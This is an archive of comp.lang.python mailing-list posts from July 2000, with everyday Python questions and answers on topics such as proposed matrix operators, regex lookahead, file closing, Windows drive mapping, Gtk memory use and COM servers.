URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From garry at sage.att.com  Fri Jul 14 16:24:16 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Fri, 14 Jul 2000 20:24:16 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain>
Message-ID: <396F76F0.1B451932@sage.att.com>

Huaiyu Zhu wrote:

> Point 1.  We _can_ assign a universal meaning to dot operators, as
> "componentwise operators".  For example
> 
> [1, 2] + [3, 4]             # [1, 2, 3, 4]
> [1, 2] .+ [3, 4]            # [4, 6]
> ['a','b'] * 2               # ['a','b','a','b']
> ["a","b"] .* 2              # ['aa', 'bb']
> {'a':1, 'b':1} .+ {'a':1, 'c':1}   # {'a':2, 'b':1, 'c': 1}
> 'abc' .+ 'def'              # exception: you must define string.__dot_add__
> 
> This could be useful in all sorts of situations.  Of course people can still
> override it with incompatible meanings at their own discretion, just as they
> could do to anything else.
> 
> Point 2. If users in completely disjoint domains override a certain type of
> binary operators with incompatible meanings, is there great harm?  Providing
> a few operators for user adoptation might even prevent grotesque overriding
> of more core operators.  After all, there is almost endless supply of names
> for classes, modules, function and so on, but there is almost no binary
> operators free for adoption.

but outside of this thread, we've seen no great outcry of python
users bemoaning the lack of cryptic operators.  changing the language
for this specific domain is not a good idea.  putting in new operators
because they might be usefully overloaded for other specific domains
is little better.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From matt at nightrealms.com.bbs  Sun Jul 16 23:10:11 2000
From: matt at nightrealms.com.bbs (matt at nightrealms.com.bbs)
Date: 17 Jul 2000 03:10:11 GMT
Subject: Wishlist sumbission form?
Message-ID: <3bQjLZ$kuU@openbazaar.net>

Is there any way of submitting feature requests for Python,
other than by filing a bug report?

Thanks in advance.


From ldw at us.ibm.com  Fri Jul 28 08:59:50 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Fri, 28 Jul 2000 07:59:50 -0500
Subject: AIX installation can't find zlib
Message-ID: <8ls045$1522$1@news.rchland.ibm.com>

I've just installed the 1.5.2 source distribution on an AIX system and when
I say "import zlib" it responds:

>>> import zlib
Traceback (innermost last):
  File "<stdin>", line 1, in ?
ImportError: No module named zlib
>>>

I'm not sure where zlib is supposed to be.  It's not in the Lib subdirectory
of Python-1.5.2.  In the Modules subdirectory I find zlibmodule.c.  Nothing
germaine in the Objects subdirectory.  Looked at config.log and
config.status, no mention of zlib.

Looking at the sys.path I see:

.../ldw/Python-1.5.2> python
Python 1.5.2 (#1, Jul 26 2000, 14:21:56) [C] on aix4
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import sys
>>> sys.path
['', '/.../rchland.ibm.com/fs/u1/ldw/Projects/Programs/wtCache',
'/.../rchland.ibm.com/fs/u1/ldw/Python-1.5.2/Lib/',
'/.../rchland.ibm.com/fs/u1/ldw/Python-1.5.2/Lib/plat-aix4',
'/.../rchland.ibm.com/fs/u1/ldw/Python-1.5.2/Lib/lib-tk',
'/.../rchland.ibm.com/fs/u1/ldw/Python-1.5.2/Modules']
>>>

Any suggestions?

Larry




From europax at home.com  Sat Jul  8 15:55:57 2000
From: europax at home.com (europax at home.com)
Date: Sat, 08 Jul 2000 19:55:57 GMT
Subject: Anyone used Python for GPIB instrument control?
References: <39668E65.356337BF@home.com> <slrn8meotl.kqv.ssthapa@ntcs-ip48.uchicago.edu>
Message-ID: <39678656.D5F1E689@home.com>

Thanks for replying.  I found some Python code that uses WinDLL from the
DynWin package to control GPIB.  I am going to try that first.  I think
that the Perl people are using a wrapper for the National Instruments
gpib-32.dll.  I wonder if I can use that wrapper as-is? 

I want to get something that is at least operational real fast.  So I
can do some Python programming.  For some reason whenever I have to
learn a new programming language, I always have to do something really
esoteric from the start :)   Hopefully later on I can learn to use swig.

Rob.

Suchandra Thapa wrote:
> 
> europax at home.com <europax at home.com> wrote:
> >Hello all,
> >
> >I am new to this ng and to Python.  I am wondering if anyone has used
> >Python to control a National Instruments GPIB card on a Windows NT box?
> >I've searched and found a couple of references on my own.
> >
> >A group at work is using Perl for this task and there is some pressure
> >to go along with them.  I've tried Perl, and frankly, assembly language
> >is clearer than Perl code to me.  However, Python passed my test as I
> >was able to do something with it in the first minute-  and I can
> >understand what most of the syntax means.
> 
>     I'm not sure if an equivalent exists for windows but try look
> swig.  It allows you to use c/c++ code within python.  From what
> I remember from using a GPIB interface to a Tektronics scope, you
> don't need much more than some basic c code to accept a string or a
> pointer to a buffer and pass it on to the driver.  You also need a
> function to get a return code and pass it back to your python code.
>     Although I'm not familiar with them, I think you may be able to
> write a basic COM/ActiveX object and use it in your python code.
>     How is the rest of your group controling the GPIB in perl?  You
> may be able to use the same methods in python.
> 
> --
> ------------------------------------------------------------------
> 
> Suchandra S. Thapa
> s-thapa at uchicago.edu
> 
> ------------------------------------------------------------------


From ge at nowhere.none  Wed Jul 19 10:41:24 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 19 Jul 2000 14:41:24 GMT
Subject: How to use smtp and checksum in python?
References: <39753531.983BC8F5@eSec.com.au>
Message-ID: <o6jd5.1646$6E.332461@ptah.visi.com>

In article <39753531.983BC8F5 at eSec.com.au>, the turtle wrote:
>Thanks
>Sam

I guess I'd recommend smtplib for doing smtp stuff.  No idea
what you mean by "checksum".  Care to be a bit more specific?

-- 
Grant Edwards                   grante             Yow!  Is this going to
                                  at               involve RAW human ecstasy?
                               visi.com            


From blinocac1 at home.com  Tue Jul 11 00:46:37 2000
From: blinocac1 at home.com (David L. Heald Jr.)
Date: Tue, 11 Jul 2000 04:46:37 GMT
Subject: Compiling Python
References: <Fera5.15213$6y5.13256073@news2.rdc2.tx.home.com> <9m5lms0bt9fhiir6c2vju9ti4hvvv473kb@4ax.com>
Message-ID: <NExa5.15563$6y5.13690538@news2.rdc2.tx.home.com>

Yeah, the latter. I like Python, but I'm interested in taking my programs
with me to other computers that don't have python.
"Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
news:9m5lms0bt9fhiir6c2vju9ti4hvvv473kb at 4ax.com...
> On Mon, 10 Jul 2000 21:29:09 GMT, "David L. Heald Jr."
> <blinocac1 at home.com> declaimed the following in comp.lang.python:
>
> > Does anyone know if there is a compiler available anywhere for python
for
> > win32?
> >
> Pardon?
>
> A compiler with which to build Python from source, or
>
> A compiler which builds native executables from Python programs?
>
>
> For the latter, I don't think one exists on any platform --
> freeze may be the closest equivalent (as I recall, not having used it,
> it embeds Python byte-code into a binary with the Python interpreter).
>
> For the former... I think folks are working on getting the
> downloadable Borland C to compile it, the M$ VC should handle it with no
> problems, and gcc probably can manage it.
>
> --
>  > ============================================================== <
>  >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
>  >      wulfraed at dm.net     |       Bestiaria Support Staff       <
>  > ============================================================== <
>  >        Bestiaria Home Page: http://www.beastie.dm.net/         <
>  >            Home Page: http://www.dm.net/~wulfraed/             <




From jepler.lnk at lnk.ispi.net  Sun Jul 16 22:07:05 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Mon, 17 Jul 2000 02:07:05 GMT
Subject: proposal: accessor methods
References: <Pine.BSF.4.10.10007141454030.7715-100000@chi.pair.com>
Message-ID: <dTtc5.182$ttZ2.8192280@news.randori.com>

class SetAccessor:
    """
(I tested this class, then managed to enhance it with
default_set_only_by_accessor and __attributes__ in posting.  Sigh,
it's too hard to leave simple code alone!  It worked a minute ago,
I swear)

Subclasses may define methods with the name __set_(attribute name)__
to be called when attribute assignments occur.

Furthermore, if .default_set_only_by_accessor is true, assignment to
attributes for which accessors do not exist is an error.

__attributes__ lists attributes which can be set even for
default_set_only_by_accessor objects even in the absence of an accessor
function.
"""
    self.__attributes__ = ()
    self.default_set_only_by_accessor = 0
    def __setattr__(self, attr, value):
        accessor_method = getattr(self, "__set_%s__" % attr, None)
        if accessor_method:
            accessor_method(value)
        else:
            if self.default_set_only_by_accessor \
                    and not attr in self.__attributes__:
                raise TypeError, "read-only attribute %s" % attr
        else:
            self.__dict__[attr] = value

class GetAccessor:
    """
(I didn't actually test this class)

Subclasses may define methods with the name __get_(attribute name)__
to be called when undefined attribute references occcur.
"""
    def __getattr_(self, attr):
        accessor_method = getattr(self, "__get_%s__" % attr, None)
        if accessor_method():
            return accessor_method()
        else:
            raise AttributeError, attr



From guido at python.org  Thu Jul 27 11:39:53 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 15:39:53 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lpbs3$oac$2@newshost.accu.uu.nl>
Message-ID: <cplmynjzn9.fsf@cj20424-a.reston1.va.home.com>

m.faassen at vet.uu.nl (Martijn Faassen) writes:

> Ah, good, I was hoping for some clarification. I couldn't keep track of
> the soap very well; who had died, who had returned with memory loss,
> who's a good guy, who's a bad guy, if the blind guy will be 
> miraculously healed, will the marriage succeed, and what version numbers
> they all have. And why.

Actually, it was all a bad dream, and the regular Python development
activities will be back when I wake up.  But it feels like I've been
in this dream for *months* now... :-)

> Some hinting as to the 'why' of this confusion in your future announcement
> would be useful too.

Sorry, but I really can't help you there.  The decision to change the
license was made by CNRI, and I can't speak for them.  It would be
good to request an independent explanation from CNRI, rather than
expect me to guess what their motivations are.  (I would hope that
bitterness about our group leaving CNRI was *not* among those.)

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From thomas at xs4all.net  Mon Jul 31 19:05:33 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 1 Aug 2000 01:05:33 +0200
Subject: to close or not to close?
In-Reply-To: <8m4s6i$2sdk@drn.newsguy.com>; from g2@seebelow.org on Mon, Jul 31, 2000 at 02:48:02PM -0700
References: <8m4s6i$2sdk@drn.newsguy.com>
Message-ID: <20000801010533.P266@xs4all.nl>

On Mon, Jul 31, 2000 at 02:48:02PM -0700, Grant Griffin wrote:

> Forgive me if this is a FAQ, but is it considered good Python form to close a
> file whose variable is just about to go out of scope (and thus be automatically
> closed)?  Or should one just omit that?

If you care about portability of your code, and the code in question is
frequently executed inside the script (like in a rapid for-loop), you'd best
close it yourself. In current CPython it won't cause any problem to omit the
close as long as you are certain the vrbl will go out of scope, but JPython
and possibly other implementations of Python use true garbage collection
(GC) rather than reference counting (RC). GC is usually fired periodically,
or when system resources run low, and somehow not all GC's see
filedescriptors as system resources ;) So something like this:

for x in [:256]: # or range(256) if you don't run experimental patches
	open("tempfile.%d"%x)

Will work just fine in CPython, having open at most 2 'tempfiles' at once
(in an interactive session, that is, otherwise it has just 1 open.) But the
same script under JPython, or a possible future CPython with true GC, will
run out of filedescriptors (or more likely: the max number of open files)
before the next GC run.

(The above script is not that silly an example; I've actually used it, with
larger numbers, to create a large number of testfiles ;-) The example is
easily fixed, as the resulting isn't used. Just change it to
'open(..).close()'. It's just a tad trickier if you want to do
'open().read()' :-)

Of course, if you don't plan on running the code inside a busy for loop,
you'll hardly notice.

No-I-didn't-say-CPython-will-grow-true-GC!-ly y'rs,
-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From wlfraed at ix.netcom.com  Mon Jul  3 14:57:58 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Mon, 03 Jul 2000 11:57:58 -0700
Subject: Books
References: <8jb1ec$9mh2@news.qualitynet.net> <autilso0l591oo924n3mogcva7r2892p5b@4ax.com> <8jpvhi$jfs$1@newshost.accu.uu.nl>
Message-ID: <1ni1msc4fer3u6sm9blvjihql0inv9a1ba@4ax.com>

On 3 Jul 2000 12:05:06 GMT, m.faassen at vet.uu.nl (Martijn Faassen)
declaimed the following in comp.lang.python:

> Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> 
> > 	Beginners in programming;
> 
> I saw others recommend Learning Python; I wouldn't do so for beginners
> in programming. The Quick Python book or Python in 24 Hours seem to be
> better suited for this.
>
	I'm so far out of that stage I no longer know what I'd recommend
-- other than /not/ C, C++, or some variant of BASIC (especially the one
M$ is pushing -- seen the recent "learn VB6" books... apparently the
"learning edition" of VB6 is too expensive, the books include a "working
model" edition, which appears to be strictly an interpreter within the
development environment with to capability for stand-alone programs).

> 
> > 	beginners in OO...
> 
> I'm not sure how good Learning Python is at teaching OO concepts to people
> who don't know about it yet. *Python* would be good though. Any opinions?
>
	I'm afraid I'm somewhat biased (and not too skilled in OOP
either), but my background leads me to believe one should first learn OO
concepts divorced from any particular language -- OO analysis and design
-- and then translate the design into the particulars of an
implementation language.

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From grey at despair.rpglink.com  Sat Jul 29 22:25:40 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:25:40 GMT
Subject: XML: good, but no magic bullet (was Re: Perl is worse!)
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com> <slrn8o4clt.abr.nobody@isis.visi.com> <8luhsl21ce8@news2.newsguy.com> <slrn8o6m3f.f91.grey@teleute.rpglink.com> <8lvth00ntg@news2.newsguy.com>
Message-ID: <slrn8o74d0.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 02:35:27 +0200, Alex Martelli <alex at magenta.com> wrote:
>Getting acquainted with the XML scene is not a bad idea, but IMHO

    That will happen when I have a need to dabble in it.  Consider the
backlash already in effect.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From akuchlin at mems-exchange.org  Tue Jul 11 13:59:34 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 11 Jul 2000 13:59:34 -0400
Subject: simple (?) re question
References: <396B4DAE.3FEF0B0E@sxb.bsf.alcatel.fr>
Message-ID: <3dr990zgxl.fsf@kronos.cnri.reston.va.us>

Frederic Laurent <laurent8 at sxb.bsf.alcatel.fr> writes:
> Hi, I try to have a regular expression that doesn't match if
> a filename is composed of "SCCS", so I have
> >>> r=re.compile(".*(?!SCCS.*$).*[.]java$")
> >>> r.match("/foo/bar/SCCS/s.file.java")
> <re.MatchObject instance at 1f9898>
> But it's wrong for me ! I was expected this file will not match.

You're using the wrong tool; regexes are very clumsy for this sort of
thing.  Try looking at your regex using Demo/tkinter/guido/redemo.py
to see how it matches; the first .* matches '/foo/bar/SCCS/s.file',
the ?! expression matches nothing, and the second .* matches nothing.

> I've got the same problem with an expression wich mustn't match
> something that's ending with a java extension
> >>> r=re.compile(".*[.](?!java$).*$")

Similar problem; the regex engine finds an alternative match.  Why not
just write:

path, filename = os.path.split( filename )
if 'SCCS' in string.split(path, os.pathsep):
    # SCCS in path

for the first case, and:

root, extension = os.path.splitext(filename)
if extension == '.java':
    # Filename ends in .java

for the second?  Much clearer than a complicated regex which has to be
analyzed to be understood, and it makes it more apparent that you're
making a decision based on the path.

--amk


From fredp at mygale.org.nospam  Wed Jul 19 07:38:33 2000
From: fredp at mygale.org.nospam (Fred Pacquier)
Date: 19 Jul 2000 11:38:33 GMT
Subject: Advice sought: text-mode (but not CLI) apps in Windows console ?
Message-ID: <8F7682C13PaCmAnRDLM@195.25.12.37>

Hi,

The other day I had an idea for something I wanted to do in Python. It is 
to be run under Windows (9x), but for various reasons I did not want to do 
a full Windows GUI (like with Tk or wxPython). I did not have a pure CLI 
app in mind either, but wanted to provide some sort of simple character-
mode interface to the user, in a Windows console (DOS box).

Since then I have been through what I believe to be a reasonably thorough 
Web search (from Parnassus outwards) to find something to get me started, 
and have turned up precious little. Various Python bindings of curses or 
ncurses exist, but can one run curses itself under Win 9x ? Or are there 
other, well-hidden libraries or modules that do more or less the same thing 
on that platform ? (I'm not asking for something as high-level and 
extensive as the Borland OWL of old :-)

Thanks,

FP

-- 
YAFAP : http://www.multimania.com/fredp/


From toisanji at aol.com  Wed Jul 19 18:14:42 2000
From: toisanji at aol.com (Toisanji)
Date: 19 Jul 2000 22:14:42 GMT
Subject: newb question
References: <4EC92E18ACA00181.72E3F9F1575615E2.1B81AD7D6A3BF3C5@lp.airnews.net>
Message-ID: <20000719181442.10501.00000960@ng-cs1.aol.com>

Im using a different account as you can see.  I need to know the Ip because if
you look at the next post in the python newsgroup tree, there is a post that
says, "my 1st program, please critique".  I wrote a program that updates a
local ip on a database on the internet so that user can have a staticDNS entry
with a dynamic ip.  The service is from http://www.eyep.net. Thanks.
Jason Toy
toyboy at toy.eyep.net


From mfletch at tpresence.com  Tue Jul 18 19:12:46 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Tue, 18 Jul 2000 19:12:46 -0400
Subject: Getting local IP address...
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3432@VRTMAIL>

Mea Culpa.  "Never post code without explanation." (or something like that).
I'll start at the end of your points, "why would you want to know your IP
address?"
	The primary motivator for knowing your IP address today is likely
person-to-person services.  Currently becoming a buzzword, these services
include Napster, Gnutella, etc., as well as multi-user games, virtual
reality (what I'm doing) and the like. In these situations, user's machines
are configured to provide a limited service (such as file sharing or game
hosting) and their address is published through a centralized or distributed
listing service.  With systems that are UDP based (most game-level
multi-user technologies), there is seldom an available TCP connection within
the system, so the (naive) implementation just creates such a connection.

"Reliance on www.python.org"
	This was just stupidity on my part :) .  The default remote address
should have been something like ("www.yourcompanyservers.com", 80), that is,
the remote address should be a server which is part of your enterprise (the
use of Python.org was intended to imply, for Python users, a server within
our enterprise, (it was poorly communicated (strange note: when copying the
original post, I actually changed this address explicitly to make this point
(the original was "www.tpresence.com" , because I figured people might not
know where I work!)))) which is on the "public Internet".

"wasteful"
	Again, I assumed too much.  This _is_ wasteful code, and should be
treated as a base technique from which to build real code.  My own code
(written after the original posting (of about a month ago if I recall
correctly)) actually uses a cache, checking the IP address only once per
session with our company Web servers as the remote target.  As you mention,
it's a fairly light burden (3 small packets under ideal conditions), but
yes, it is conspicuous.

Glad I'm not on Linux, no sir, not after that lashing ;) .  I'm not one of
those darn insular Linux people.  I'll stick right here on Windows, where
every single developer is an absolute fanatic about making every piece of
code cross platform and portable.  No sir!  You'd never catch _us_ using
proprietary technologies.

Pay no attention to the COM behind the curtain...
Mike

-----Original Message-----
From: Donn Cave [mailto:donn at u.washington.edu]
Sent: Tuesday, July 18, 2000 1:13 PM
To: python-list at python.org
Subject: Re: Getting local IP address...


...
I'm not so crazy about this function either, despite that my name appears
in it!  But my problem is that it introduces an external and otherwise
irrelevant dependency on the DNS name www.python.org and its HTTP service.
When I did this in my own application (on BeOS, in MIT Kerberos 5, which
encodes the local IP in the ticket), I used my own primary DNS service
as the target.  This IP address is always known to the local system in
advance and really has to be in service or you're sunk anyway.

Will these connections every time an application wants to determine its
own IP bring the host to its knees?  Give me a break.  This, in a Python
newsgroup!  Compare to the network burden of resolving DNS names, etc.
Waste is bad, but this is a conspicuous but very small cost compared to
huge routine expenses that are buried under DNS lookups, NFS remote mounted
filesystems etc.
...
On the bright side, generally it's not necessary to know your own
IP address.  I'm curious why we are seeing this question so often,
what are folks doing out there?
...



From thiele at muc.das-werk.de  Mon Jul  3 09:06:40 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 03 Jul 2000 15:06:40 +0200
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de> <8F665C79Agmcmhypernetcom@199.171.54.154>
Message-ID: <39608FE0.35950741@muc.das-werk.de>

>
> You've got both technical and cultural problems here. There is no fork.

I knew that. But I wonder how to start an other program. In UNIX I used fork()
and exec().
Just the same code like in popen2.popen3 but I copied the code and included
some costumization.
Does popen work on NT? Or is there an other way do get the same result
(starting a program and
read it's output)

>
> configuration, many things that would require setuid on *nix can be done by
> any wazoo on Windows.
>



From MarkH at ActiveState.com  Sat Jul 29 02:32:56 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Sat, 29 Jul 2000 06:32:56 GMT
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com> <8lrvae015nm@news2.newsguy.com> <3981D157.D7A1A347@intel.com> <8lspqe02drs@news2.newsguy.com>
Message-ID: <sUug5.15076$4p3.118527@news-server.bigpond.net.au>

> > and I own "Python Programming on Win32". I find it very useful. The
> example
> > below (including NetUseAdd) is not addressed in "Python Programming on
> Win32".
>
> Not exactly, no.  I do think its omission is a bug in Appendix B.

Actually, Appendix B is only supposed to address the API functions
discussed in the book.  Otherwise it would be too large.

Also, FYI:  win32net does not work on Win9x.  There is a module named
win32wnet which does, and also provides other useful Netbios etc
functions.  However, this doesnt have any documentation in the help files
(which makes it pretty useless).  Im going to fix this now.

There is a function WNetAddConnection2 - example usage is:

win32wnet.WNetAddConnection2(win32netcon.RESOURCETYPE_DISK, "Z:",
"\\\\brat\\c", None, None, None)

The params are:
       Integer Type,  // RESOURCETYPE_DISK, RESOURCETYPE_PRINT, or
RESOURCETYPE_ANY
       String LocalName, // String or None
       String RemoteName, // String (required to be in network format
       String ProviderName,// String or None
       String Username,
       String Password)

Mark.





From forums at memoire.com  Fri Jul 21 13:53:38 2000
From: forums at memoire.com (Guillaume)
Date: Fri, 21 Jul 2000 17:53:38 GMT
Subject: Class static variables
References: <8l9vb3$kae$1@nnrp1.deja.com> <8la0fa$l9r$1@nnrp1.deja.com>
Message-ID: <8la2mp$n5v$1@nnrp1.deja.com>

> you are attaching a per-object variable with b.a=2 try CA.a - i think
> you will find it is still 0.
> regards,
> bill

Right, but what I want is a static class var defined in A.
So if I set b.x to 2, I would like B.x, A.x and a.x set to 2. Which is
not the case in the default behavior.

The only way I found is to overload __setattr__. (but I am a python
beginner ;-)

Regards, Guillaume


Sent via Deja.com http://www.deja.com/
Before you buy.


From m.faassen at vet.uu.nl  Mon Jul  3 08:05:06 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 3 Jul 2000 12:05:06 GMT
Subject: Books
References: <8jb1ec$9mh2@news.qualitynet.net> <autilso0l591oo924n3mogcva7r2892p5b@4ax.com>
Message-ID: <8jpvhi$jfs$1@newshost.accu.uu.nl>

Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> On Tue, 27 Jun 2000 17:09:09 +0300, "Helmit" <helmit_world at hotmail.com>
> declaimed the following in comp.lang.python:

>> Does anyone know any good python books for teaching beginers?
>> 
> 	Wide-open question...

> 	Beginners in programming;

I saw others recommend Learning Python; I wouldn't do so for beginners
in programming. The Quick Python book or Python in 24 Hours seem to be
better suited for this.

> 	beginners in Python;

Learning Python is fine here, though it may partially depend on the answer
to the next question:

> 	beginners in OO...

I'm not sure how good Learning Python is at teaching OO concepts to people
who don't know about it yet. *Python* would be good though. Any opinions?

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From mas at echo.fr  Wed Jul 12 12:58:49 2000
From: mas at echo.fr (Roland Mas)
Date: 12 Jul 2000 18:58:49 +0200
Subject: Freeing the memory in Gtk?
Message-ID: <87og43l1yu.fsf@cachemir.echo-net.net>

  Hello,

I've been using Glade and libglade for some days, and I like it so
much I'm probably going to do my next big thing with it.  Except I
have a problem, which follows.

  Suppose we have a GtkList, which is empty at first.  Now suppose we
fill it somewhat, inserting GtkListItem's into it.  Good, it works.
Now suppose we want to change the contents of this list, by removing
the items from it and inserting new ones into it.

  How do I free the memory allocated for the old items?  I mean, I
know I'm in Python, and I know I shouldn't worry about that, but my
process grows and grows.  Too much for me not to worry.

  Code snippet:
-----
from gtk import *
from gnome.ui import *
from GDK import *
from libglade import *
import time

def init ():
    global wtree_app, list, pb, centry
    wtree_app = GladeXML (gf, "app")
    list = wtree_app.get_widget ("list1")
[...]

[a callback function]
def chercher_site (obj): 
    global id, list, pb, centry
    t = centry.get_text ()
    chd = {}
    list = wtree_app.get_widget ("list1")
##     l = list.children ()
##     for i in l:
##         i.destroy ()
##     list.remove_items (l)
    list.clear_items (0, -1)
    i = 0
    nb = 100
    pb.set_progress (0)
    for i in range (nb):
        id = id + 1
        li = GtkListItem (label=t + ' - ' + str (i))
        sites [li._o] = { 'id': id, 'label': t }
        li.show ()
        list.show ()
        list.append_items ([li])
        pb.set_progress ((i + 1.0) / nb)
##         while events_pending ():
##             mainiteration (TRUE)
##         time.sleep (0.25)
    pb.set_progress (0)
-----

  If by repeatedly clicking on the appropriate button I repeatedly
call the chercher_site () callback function, the process uses more and
more memory, until the system becomes unusable.

  The first set of comments denotes things that I tried without
success, the second one gives a way to force a GUI update even during
the execution of a callback function.

  Does anyone know the solution?  What am I doing wrong?  What am I
forgetting?  Where could I have found the answer?

Roland.
-- 
Roland Mas

Infinity contains more things than you think.  Everything, for a start.
  -- in Witches Abroad (Terry Pratchett)


From lull at acm.org  Wed Jul  5 00:36:02 2000
From: lull at acm.org (John Lull)
Date: 4 Jul 2000 23:36:02 -0500
Subject: Singleton COM local/remote server?
Message-ID: <7bd5msssk48km280t9bvds4i3v6hs7r8or@4ax.com>

I'm prototyping a DCOM server in Python.  The server coordinates
access from several clients scattered across a network to multiple
devices hung off each of several interface ports.  Some or all of it
will likely be ported to C once we're satisfied the API is right, and
as performance dictates. 

The server will have a single Coordinator object, a single Port object
with its own thread for each port, a single Device object with its own
thread for each device, multiple PortAccess objects to provide client
access to each port object, and multiple DeviceAccess objects to
provide client access to each device.  Client programs will get access
to the server via win32com.client.Dispatch('MyServer.Coordinator') (or
the equivalent in another language), then request PortAccess and
DeviceAccess objects from appropriate factory methods.

I've got most of the innards worked out, figured out how to register
it, wrap the access objects so I can hand out references to clients,
etc, but --

Since each port can belong to at most one server, I cannot have
multiple servers on the same machine.  I can't figure out how to
ensure there is only *one* copy of the server started, regardless of
how many clients want to use it.  

Any samples, pointers to documentation, key phrases to search MSDN
for, etc. would be *greatly* appreciated.

Thank you.

Regards,
John


From grey at despair.rpglink.com  Fri Jul 28 11:28:57 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:28:57 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com>
Message-ID: <slrn8o39hn.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 09:14:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
wrote:
>If I type 1, I think "integer".  Sorry.  This is true outside the realm of
>programming.  If I'm talking to someone online and I want to express the
>idea of a string containing the character '1', I will write "1" or '1'.

    Is it?  How many non-programmers would do that?  You do it only because
you are a programmer who is used to catagorizing data into different types.    

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From johnm at cs.uit.no  Sat Jul  1 20:02:08 2000
From: johnm at cs.uit.no (John Markus Bjorndalen)
Date: 02 Jul 2000 02:02:08 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au> <4YiFVWA4AlX5EwzQ@jessikat.demon.co.uk>
Message-ID: <hvd7kxflhb.fsf@johnmnb.cs.uit.no>

Robin Becker <robin at jessikat.demon.co.uk> writes:

> well with netscrape I can't seem to access that.

Turn off Javascript (and possibly Java as well). 
That might help. 

-- 
	// John Markus Bj?rndalen


From hzhu at localhost.localdomain  Thu Jul 13 20:31:58 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 14 Jul 2000 00:31:58 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com>
Message-ID: <slrn8mso2i.sj.hzhu@localhost.localdomain>

On Thu, 13 Jul 2000 16:35:57 -0600, Bjorn Pettersen <bjorn at roguewave.com>
wrote: 

>I fully understand your desire to make the syntax for your domain
>specific notation as intuitive as possible.  For people who don't know
>matlab however, .+ et. al. have no pre-defined meaning. Since + has a
>predefined meaning of addition, most people when overloading it will do
>"additive" things with it, e.g. concatenating to sequences. Since .+
>doesn't have a pre-defined meaning I'm afraid people will override it
>with random semantics...
>
>If you want to do matlab syntax, perhaps a better approach would be to
>write your own expression parser?
>

Hmm, I see what you mean:  If a certain syntax is not meaningful to all the
users, don't expose it to all of them lest they came up with random
